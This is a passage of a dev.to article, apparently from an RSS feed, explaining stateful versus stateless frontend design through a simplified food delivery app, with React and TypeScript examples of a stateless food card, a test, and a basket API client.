      <guid>https://dev.to/leopold2/stateful-vs-stateless-frontends-designing-a-food-delivery-app-one-state-at-a-time-569n</guid>
      <description>&lt;p&gt;When we hear the words &lt;strong&gt;stateful&lt;/strong&gt; and &lt;strong&gt;stateless&lt;/strong&gt;, many of us first think about backend systems.&lt;/p&gt;

&lt;p&gt;Stateless APIs.&lt;/p&gt;

&lt;p&gt;Sticky sessions.&lt;/p&gt;

&lt;p&gt;Redis.&lt;/p&gt;

&lt;p&gt;Horizontal scaling.&lt;/p&gt;

&lt;p&gt;But the same distinction becomes just as important in frontend applications—especially after the product grows beyond a few pages and a couple of API calls.&lt;/p&gt;

&lt;p&gt;Imagine opening a food delivery application like Snappfood.&lt;/p&gt;

&lt;p&gt;You choose an address. Search for a restaurant. Apply a filter. Open a menu. Add food to your basket. Change the quantity. Enter a delivery note. Move to checkout. Return to the previous page.&lt;/p&gt;

&lt;p&gt;Every one of these interactions changes something.&lt;/p&gt;

&lt;p&gt;The difficult question is not whether the application has state. It obviously does.&lt;/p&gt;

&lt;p&gt;The difficult question is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Who should own each piece of state, how long should it live, and what is the source of truth?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is where stateful and stateless design becomes an architectural decision—not just a React decision.&lt;/p&gt;

&lt;p&gt;In this article, I want to build a simplified frontend architecture for a Snappfood-like product and make those decisions one by one.&lt;/p&gt;

&lt;p&gt;The example is intentionally educational. It does not describe Snappfood's internal architecture or any proprietary implementation. The goal is to create a realistic model that is complex enough to expose the trade-offs.&lt;/p&gt;




&lt;h2&gt;
  
  
  First, what do stateful and stateless actually mean?
&lt;/h2&gt;

&lt;p&gt;A system is &lt;strong&gt;stateful&lt;/strong&gt; when its current behavior depends on information preserved from previous interactions.&lt;/p&gt;

&lt;p&gt;A system is &lt;strong&gt;stateless&lt;/strong&gt; when it can process the current input without remembering previous interactions internally.&lt;/p&gt;

&lt;p&gt;Consider these two functions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;calculateTotal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BasketItem&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BasketManager&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BasketItem&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

  &lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BasketItem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;getTotal&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;calculateTotal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first function is stateless. Give it the same input and it produces the same output. It does not remember the previous call.&lt;/p&gt;

&lt;p&gt;The second object is stateful. The result of &lt;code&gt;getTotal()&lt;/code&gt; depends on everything that happened before it.&lt;/p&gt;

&lt;p&gt;Neither one is automatically better.&lt;/p&gt;

&lt;p&gt;They solve different problems.&lt;/p&gt;




&lt;h2&gt;
  
  
  What does this mean on the backend?
&lt;/h2&gt;

&lt;p&gt;HTTP itself is stateless. One request does not automatically know anything about the request that came before it.&lt;/p&gt;

&lt;p&gt;That is why a request usually carries enough information to be understood independently:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /baskets/basket-42/items
Authorization: Bearer &amp;lt;token&amp;gt;
Content-Type: application/json

{
  "foodId": "food-10",
  "quantity": 1
}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server can authenticate the request, identify the basket, validate the command, and return a response without relying on memory left inside one specific application instance.&lt;/p&gt;

&lt;p&gt;This makes horizontal scaling easier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Request 1 → API instance A
Request 2 → API instance C
Request 3 → API instance B
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any healthy instance should be able to handle the next request.&lt;/p&gt;

&lt;p&gt;But there is an important distinction here:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A stateless API does not mean a stateless business domain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A basket clearly has state. Orders have state. Users have state. Payment attempts have state.&lt;/p&gt;

&lt;p&gt;The difference is that this state is stored in an explicit, durable owner such as a database or Redis—not hidden in the memory of a random API instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stateless API process → Stateful database
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This distinction becomes very useful when we move to the frontend.&lt;/p&gt;




&lt;h2&gt;
  
  
  A frontend cannot be completely stateless
&lt;/h2&gt;

&lt;p&gt;A useful frontend reacts to history.&lt;/p&gt;

&lt;p&gt;The user opened a modal.&lt;/p&gt;

&lt;p&gt;The user selected an address.&lt;/p&gt;

&lt;p&gt;The user typed a search query.&lt;/p&gt;

&lt;p&gt;The user added two items to a basket.&lt;/p&gt;

&lt;p&gt;Without state, every interaction would disappear immediately.&lt;/p&gt;

&lt;p&gt;So our goal is not to remove state from the frontend.&lt;/p&gt;

&lt;p&gt;Our goal is to prevent state from spreading everywhere.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;State is not the problem. State without clear ownership is the problem.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The architecture I prefer is to keep most rendering, transformation, validation, and transport code stateless—and isolate state inside a small number of explicit owners.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi0ln8jhcgm0jwt4d1st8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi0ln8jhcgm0jwt4d1st8.png" alt="State ownership map for the frontend" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The application we are going to build
&lt;/h2&gt;

&lt;p&gt;Our simplified product has these user flows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Select a delivery address&lt;/li&gt;
&lt;li&gt;Search and filter restaurants&lt;/li&gt;
&lt;li&gt;Open a restaurant menu&lt;/li&gt;
&lt;li&gt;Add food to a basket&lt;/li&gt;
&lt;li&gt;Replace the basket when switching restaurants&lt;/li&gt;
&lt;li&gt;Change item quantities&lt;/li&gt;
&lt;li&gt;Complete checkout&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will use React and TypeScript in the examples, with TanStack Query for server state and a small client store only where cross-feature UI state is genuinely needed.&lt;/p&gt;

&lt;p&gt;The exact libraries are not the point. The ownership boundaries are.&lt;/p&gt;

&lt;p&gt;At the repository level, I would start with something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apps/
  customer-web/
  vendor-panel/
  support-panel/

packages/
  features/
    restaurant-search/
    restaurant-menu/
    basket/
    checkout/

  entities/
    restaurant/
    food/
    basket/
    order/

  shared/
    ui/
    api/
    validation/
    formatting/
    config/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a modular monorepo, not automatically a microfrontend architecture.&lt;/p&gt;

&lt;p&gt;The packages give us ownership and dependency boundaries. They do not force us to deploy every feature separately.&lt;/p&gt;

&lt;p&gt;That matters because organizational boundaries and runtime boundaries are different decisions.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Keep visual components stateless
&lt;/h2&gt;

&lt;p&gt;Let us begin with a food card.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;FoodCardProps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;imageUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;price&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;available&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;quantityInBasket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;onAdd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;FoodCard&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;available&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;quantityInBasket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;onAdd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}:&lt;/span&gt; &lt;span class="nx"&gt;FoodCardProps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;article&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;alt&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Price&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;

      &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;quantityInBasket&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;quantityInBasket&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; in basket&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;

      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;available&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;onAdd&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        Add
      &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;article&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;FoodCard&lt;/code&gt; does not fetch the menu.&lt;/p&gt;

&lt;p&gt;It does not import the basket store.&lt;/p&gt;

&lt;p&gt;It does not know whether the user is authenticated.&lt;/p&gt;

&lt;p&gt;It receives data and emits an event.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UI = render(props)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes the component reusable in restaurant menus, search results, recommendations, and promotional sections.&lt;/p&gt;

&lt;p&gt;It also makes testing much smaller:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;disables Add when the food is unavailable&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;FoodCard&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Pizza"&lt;/span&gt;
      &lt;span class="na"&gt;imageUrl&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/pizza.jpg"&lt;/span&gt;
      &lt;span class="na"&gt;price&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
      &lt;span class="na"&gt;available&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
      &lt;span class="na"&gt;quantityInBasket&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
      &lt;span class="na"&gt;onAdd&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;/&amp;gt;,&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getByRole&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;button&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Add&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toBeDisabled&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No router.&lt;/p&gt;

&lt;p&gt;No API mock.&lt;/p&gt;

&lt;p&gt;No global store setup.&lt;/p&gt;

&lt;p&gt;This is one of the practical benefits of stateless design: the number of possible histories we need to reproduce becomes smaller.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Keep the API client stateless
&lt;/h2&gt;

&lt;p&gt;Now we need to communicate with the basket backend.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;AddBasketItemCommand&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// Used only to build the temporary optimistic snapshot.&lt;/span&gt;
  &lt;span class="nl"&gt;optimisticPrice&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;basketApi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/baskets/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="nf"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AddBasketItemCommand&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="s2"&gt;`/baskets/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/items`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This module receives an explicit command and returns a result.&lt;/p&gt;

&lt;p&gt;It should not quietly hold the current basket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Avoid this mixed responsibility.&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BasketService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;currentBasket&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentBasket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/baskets/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second design mixes at least three responsibilities:&lt;/p&gt;

&lt;ul&gt;
